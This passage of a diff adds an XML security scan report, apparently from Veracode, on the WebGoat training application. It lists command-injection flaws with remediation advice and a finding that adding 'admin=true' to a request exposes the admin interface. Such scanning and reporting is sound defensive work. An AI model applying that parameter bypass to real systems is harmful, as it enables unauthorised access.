+        any. exec() was called on the getRuntime() object, which contains tainted
+        data. The tainted data originated from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nValidate
+        all user-supplied input to ensure that it conforms to the expected format,
+        using centralized data validation routines when possible. When using black
+        lists, be sure that the sanitizing routine performs a sufficient number of
+        iterations to remove all instances of disallowed characters. Most APIs that
+        execute system commands also have a &quot;safe&quot; version of the method
+        that takes an array of strings as input rather than a single string, which
+        protects against some forms of command injection.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/78.html) \r\nOWASP (http://www.owasp.org/index.php/Command_Injection)
+        \r\nWASC (http://webappsec.pbworks.com/OS-Commanding)\r\n\r\n\" note=\"\"
+        cweid=\"78\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"18\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ccp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Exec.java\"
+        line=\"103\" sourcefilepath=\"org/owasp/webgoat/util/\" scope=\"org.owasp.webgoat.util.Exec\"
+        functionprototype=\"ExecResults execOptions(java.lang.String  [], java.lang.String,
+        int, int, byte)\" functionrelativelocation=\"9\"><exploitability_adjustments><exploitability_adjustment
+        score_adjustment=\"1\"><note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"5\" categoryname=\"Improper Neutralization of Special Elements
+        used in an OS Command ('OS Command Injection')\" count=\"1\" issueid=\"122\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"java.lang.Runtime.exec\" description=\"This
+        call to java.lang.Runtime.exec() contains a command injection flaw. The argument
+        to the function is constructed using user-supplied input. If an attacker is
+        allowed to specify all or part of the command, it may be possible to execute
+        commands on the server with the privileges of the executing process. The level
+        of exposure depends on the effectiveness of input validation routines, if
+        any. exec() was called on the getRuntime() object, which contains tainted
+        data. The tainted data originated from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nValidate
+        all user-supplied input to ensure that it conforms to the expected format,
+        using centralized data validation routines when possible. When using black
+        lists, be sure that the sanitizing routine performs a sufficient number of
+        iterations to remove all instances of disallowed characters. Most APIs that
+        execute system commands also have a &quot;safe&quot; version of the method
+        that takes an array of strings as input rather than a single string, which
+        protects against some forms of command injection.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/78.html) \r\nOWASP (http://www.owasp.org/index.php/Command_Injection)
+        \r\nWASC (http://webappsec.pbworks.com/OS-Commanding)\r\n\r\n\" note=\"\"
+        cweid=\"78\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"18\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ccp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Exec.java\"
+        line=\"292\" sourcefilepath=\"org/owasp/webgoat/util/\" scope=\"org.owasp.webgoat.util.Exec\"
+        functionprototype=\"ExecResults execOptions(java.lang.String, java.lang.String,
+        int, int, byte)\" functionrelativelocation=\"9\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n</staticflaws>\n<dynamicflaws>\n<flaw
+        severity=\"5\" categoryname=\"Improper Neutralization of Special Elements
+        used in an OS Command ('OS Command Injection')\" count=\"1\" issueid=\"276\"
+        module=\"dynamic_analysis\" type=\"Improper Neutralization of Special Elements
+        used in an OS Command ('OS Command Injection')\" description=\"This call contains
+        a command injection flaw. The argument to the function is constructed using
+        user-supplied input. If an attacker is allowed to specify all or part of the
+        command, it may be possible to execute commands on the server with the privileges
+        of the executing process. The level of exposure depends on the effectiveness
+        of input validation routines, if any.\r\n\r\nValidate all user-supplied input
+        to ensure that it conforms to the expected format, using centralized data
+        validation routines when possible. When using black lists, be sure that the
+        sanitizing routine performs a sufficient number of iterations to remove all
+        instances of disallowed characters. Most APIs the execute system commands
+        also have a &quot;safe&quot; version of the method that takes an array of
+        strings as input rather than a single string, which protects against some
+        forms of command injection.\r\n\r\n\r\nCWE (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=78)
+        \r\nOWASP (http://www.owasp.org/index.php/Command_Injection) \r\nWASC (http://webappsec.pbworks.com/OS-Commanding)\r\n\r\n\"
+        note=\"\" cweid=\"78\" remediationeffort=\"3\" categoryid=\"18\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ccp\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/attack\"
+        vuln_parameter=\"File\"/>\n</dynamicflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"-1\" categoryname=\"Other\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"These flaws do not fit into one of Veracode's existing categories.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"Please see individual flaw descriptions for remediation guidance.\"/>\n</recommendations>\n<cwe
+        cweid=\"807\" cwename=\"Reliance on Untrusted Inputs in a Security Decision\"
+        pcirelated=\"false\" sans=\"866\" certcpp=\"878\" certjava=\"859\">\n<description>\n<text
+        text=\"The application uses a protection mechanism that relies on the existence
+        or values of an input, but the input can be modified by an untrusted actor
+        in a way that bypasses the protection mechanism.\"/>\n</description>\n<manualflaws>\n<flaw
+        severity=\"5\" categoryname=\"Reliance on Untrusted Inputs in a Security Decision\"
+        count=\"1\" issueid=\"271\" module=\"manual_analysis\" type=\"\" description=\"The
+        application uses a protection mechanism that relies on the existence of an
+        input, but the input can be modified by an untrusted actor in a way that bypasses
+        the protection mechanism. By adding the parameter 'admin' with a value of
+        'true' the administrative interface of the application is accessible to a
+        non-administrative user.\" note=\"\" cweid=\"807\" remediationeffort=\"3\"
+        exploitLevel=\"2\" categoryid=\"-1\" pcirelated=\"false\" date_first_occurrence=\"2012-02-29
+        16:13:33 UTC\" remediation_status=\"New\" cia_impact=\"\" grace_period_expires=\"2012-03-01
+        14:59:14 UTC\" affects_policy_compliance=\"true\" mitigation_status=\"none\"
+        mitigation_status_desc=\"Not Mitigated\" location=\"http://targethost/WebGoat/attack\"
+        cvss=\"9\" capecid=\"4\" exploitdifficulty=\"1\" inputvector=\"admin\">\n<exploit_desc>An
+        attacker can set this parameter easily within their web-browser. Links to
+        the administrative interface will then be displayed. </exploit_desc>\n<severity_desc>Attackers
+        can bypass the security decision to access whatever is being protected. The
+        consequences will depend on the associated functionality, but they can range
+        from granting additional privileges to untrusted users to bypassing important
+        security checks. Ultimately, this weakness may lead to exposure or modification
+        of sensitive data, system crash, or execution of arbitrary code.</severity_desc>\n<remediation_desc>Identify
+        all inputs that are used for security decisions and determine if you can modify
+        the design so that you do not have to rely on submitted inputs at all. For
+        example, you may be able to keep critical information about the user's session
+        on the server side instead of recording it within external data.</remediation_desc>\n<appendix>\n<description>undefined</description>\n<screenshot
+        format=\"PNG\">\n<data>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